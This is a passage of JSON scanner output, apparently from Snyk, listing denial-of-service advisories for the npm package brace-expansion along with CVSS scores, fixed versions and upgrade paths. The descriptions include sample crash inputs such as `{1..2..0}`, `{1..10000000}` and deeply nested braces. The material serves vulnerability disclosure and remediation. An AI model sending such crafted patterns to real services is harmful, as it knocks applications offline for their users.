"modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub 